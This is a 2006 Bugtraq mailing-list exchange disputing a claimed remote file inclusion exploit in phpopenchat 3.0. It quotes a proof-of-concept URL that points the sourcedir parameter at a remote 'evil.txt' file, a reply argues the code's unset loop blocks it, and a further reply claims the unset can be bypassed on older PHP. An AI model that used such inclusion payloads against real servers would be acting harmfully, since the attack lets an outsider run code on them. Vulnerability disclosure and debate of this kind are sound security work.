AW: WDT :-phpopenchat-3.0.* ($sourcedir) Remote File Inclusion Exploit
You can bypass unset in php < 4.4.4 and < 5.14. :)
-----Ursprüngliche Nachricht-----
Von: Carsten Eilers [mailto:ceilers-lists@xxxxxx]
Gesendet: Freitag, 8. September 2006 00:18
An: stormhacker@xxxxxxxxxxx; bugtraq@xxxxxxxxxxxxxxxxx
Betreff: Re: WDT :-phpopenchat-3.0.* ($sourcedir) Remote File Inclusion
Exploit
Hi,
stormhacker@xxxxxxxxxxx schrieb am Wed, 6 Sep 2006 19:17:11 +0000:
>-----------------Description---------------
>
>
>include_once("QueryString.php");
>
>include_once("Settings.php");
>
>include_once("$sourcedir/Subs.php");
>
>include_once("$sourcedir/Errors.php");
>
>include_once("$sourcedir/Load.php");
>
>//include_once("$sourcedir/Security.php");
Nice.
But you forgot the three little line above of this:
| $givenParams = array_keys($_REQUEST);
| foreach($givenParams as $param )
| unset(${$param});
And this...
>--------------PoC/Exploit----------------------
>
>
>http://www.host.com/phpopenchat/contrib/yabbse/poc.php?sourcedir=http://
>host/evil.txt?
... unsets your set sourcedir.
Result: There is no vulnerability.
Maybee $sourcedir is set/manipulated in QueryString.php
or Settings.php, but these script see nothing about your
manipulated sourcedir since it's unset before the includes.
>--------------Solution---------------------
>
>
>No Patch available.
No patch necessary.
Regards
Carsten
--
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz
<http://www.ceilers-it.de>